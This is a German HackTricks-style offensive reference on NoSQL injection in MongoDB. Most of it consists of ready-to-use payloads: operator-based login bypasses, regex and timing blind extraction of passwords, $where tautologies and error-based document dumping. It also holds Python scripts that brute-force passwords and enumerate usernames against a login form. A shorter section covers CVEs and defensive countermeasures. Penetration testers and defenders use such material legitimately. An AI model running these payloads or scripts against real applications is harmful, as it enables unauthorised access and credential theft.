NoSQL injection

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Exploit

In PHP kannst du ein Array senden, indem du den gesendeten Parameter von parameter=foo zu parameter[arrName]=foo. änderst.

Die Exploits basieren darauf, einen Operator hinzuzufügen:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Basic authentication bypass

Verwendung von not equal ($ne) oder greater ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

Ein Angreifer kann dies ausnutzen, indem er Zeichenketten wie admin' || 'a'=='a eingibt, wodurch die Abfrage alle Dokumente zurückgibt, da die Bedingung durch eine Tautologie ('a'=='a') erfüllt wird. Das ist vergleichbar mit SQL injection attacks, bei denen Eingaben wie ' or 1=1-- - verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injections mit Eingaben wie ' || 1==1//, ' || 1==1%00 oder admin' || 'a'=='a durchgeführt werden.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Länge-Informationen extrahieren

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extrahiere Daten-Informationen

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

PHP Arbitrary Function Execution

Durch die Verwendung des $func-Operators der MongoLite Bibliothek (standardmäßig verwendet) könnte es möglich sein, eine beliebige Funktion auszuführen, wie in this report.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Informationen aus einer anderen Collection abrufen

Es ist möglich, $lookup zu verwenden, um Informationen aus einer anderen Collection zu erhalten. Im folgenden Beispiel lesen wir aus einer anderen Collection namens users und erhalten die Ergebnisse aller Einträge, deren Passwort einem wildcard entspricht.

HINWEIS: $lookup und andere Aggregationsfunktionen stehen nur zur Verfügung, wenn die aggregate()-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufiger verwendeten find()- oder findOne()-Funktionen.

[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]

Error-Based Injection

Inject throw new Error(JSON.stringify(this)) in eine $where-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler leak). Beispiel:

{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }

Wenn die Anwendung nur das erste fehlgeschlagene Dokument leaks, halte den dump deterministisch, indem du bereits wiederhergestellte Dokumente ausschließt. Der Vergleich mit der zuletzt leaked _id ist ein einfacher Paginator:

{ "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" }

Pre-/Post-Bedingungen in syntax injection umgehen

Wenn die Anwendung den Mongo-Filter als string erstellt, bevor er geparst wird, ist syntax injection nicht mehr auf ein einzelnes Feld beschränkt und man kann oft umgebende Bedingungen neutralisieren.

Bei $where-Injektionen sind JavaScript truthy values und poison null bytes weiterhin nützlich, um nachfolgende Klauseln zu neutralisieren:

' || 1 || 'x
' || 1%00

Bei raw JSON filter injection können doppelte Schlüssel frühere Einschränkungen bei Parsern, die einer last-key-wins-Policy folgen, außer Kraft setzen:

// Original filter
{"username":"<input>","role":"user"}

// Injected value of <input>
","username":{"$ne":""},"$comment":"dup-key

// Effective filter on permissive parsers
{"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"}

Dieser Trick ist parserabhängig und gilt nur, wenn die Anwendung JSON zuerst durch String-Konkatenation/Interpolation zusammensetzt. Er gilt nicht, wenn das Backend die Query durchgehend als strukturiertes Objekt behandelt.

Kürzliche CVEs & reale Exploits (2023–2025)

Rocket.Chat unauthentifizierte Blind-NoSQLi – CVE-2023-28359

Versionen ≤ 6.0.0 exponierten die Meteor-Methode listEmojiCustom, die ein vom Benutzer kontrolliertes selector-Objekt direkt an find() weiterreichte. Durch Injizieren von Operatoren wie {"$where":"sleep(2000)||true"} konnte ein unauthentifizierter Angreifer ein timing oracle aufbauen und Dokumente exfiltrieren. Der Bug wurde in 6.0.1 behoben, indem die Form des selector validiert und gefährliche Operatoren entfernt wurden.

Mongoose populate().match search injection – CVE-2024-53900 & CVE-2025-23061

Wenn eine Anwendung vom Angreifer kontrollierte Objekte in populate({ match: ... }) weiterreicht, erlauben verwundbare Mongoose-Versionen $where-basierte search injection innerhalb des populate-Filters. CVE-2024-53900 deckte den Top-Level-Fall ab; CVE-2025-23061 behandelte einen Bypass, bei dem $where unter Operatoren wie $or verschachtelt war.

// Dangerous: attacker controls the full match object
Post.find().populate({ path: 'author', match: req.query.author });

Verwende eine allow-list und mappe Skalare explizit, anstatt das gesamte Request-Objekt weiterzugeben. Mongoose unterstützt außerdem sanitizeFilter, um verschachtelte Operator-Objekte in $eq zu kapseln, sollte jedoch als Sicherheitsnetz und nicht als Ersatz für explizites Filter-Mapping betrachtet werden:

mongoose.set('sanitizeFilter', true);

Post.find().populate({
path: 'author',
match: { email: req.query.email }
});

GraphQL → Mongo Filter-Verwirrung

Resolver, die args.filter direkt an collection.find() weitergeben, bleiben anfällig:

query users($f:UserFilter){
users(filter:$f){ _id email }
}

# variables
{ "f": { "$ne": {} } }

Gegenmaßnahmen: rekursiv Schlüssel entfernen, die mit $ beginnen, erlaubte Operatoren explizit abbilden oder mit Schema-Bibliotheken (Joi, Zod) validieren.

Verteidigungs-Cheat-Sheet (aktualisiert 2025)

  1. Schlüssel, die mit $ beginnen, entfernen oder ablehnen; wenn Express vor Mongo/Mongoose steht, req.body, req.query und req.params bereinigen, bevor sie das ORM erreichen.
  2. Server-seitiges JavaScript in selbstgehostetem MongoDB deaktivieren (--noscripting oder security.javascriptEnabled: false), damit $where und ähnliche JS-Sinks nicht verfügbar sind.
  3. Bevorzuge $expr und typisierte Query-Builder statt $where.
  4. Datentypen früh validieren (Joi/Ajv/Zod) und Arrays oder Objekte verbieten, wo Skalare erwartet werden, um [$ne]-Tricks zu vermeiden.
  5. Bei GraphQL Filterargumente durch eine Allow-List übersetzen; niemals nicht-vertrauenswürdige Objekte per Spread-Operator in Mongo/Mongoose-Filter einfügen.

MongoDB-Payloads

List from here

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Blind NoSQL Skript

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Brute-force login usernames and passwords von POST login

Dies ist ein einfaches script, das du anpassen könntest, aber die vorherigen tools können diese Aufgabe auch übernehmen.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]

def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Werkzeuge

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks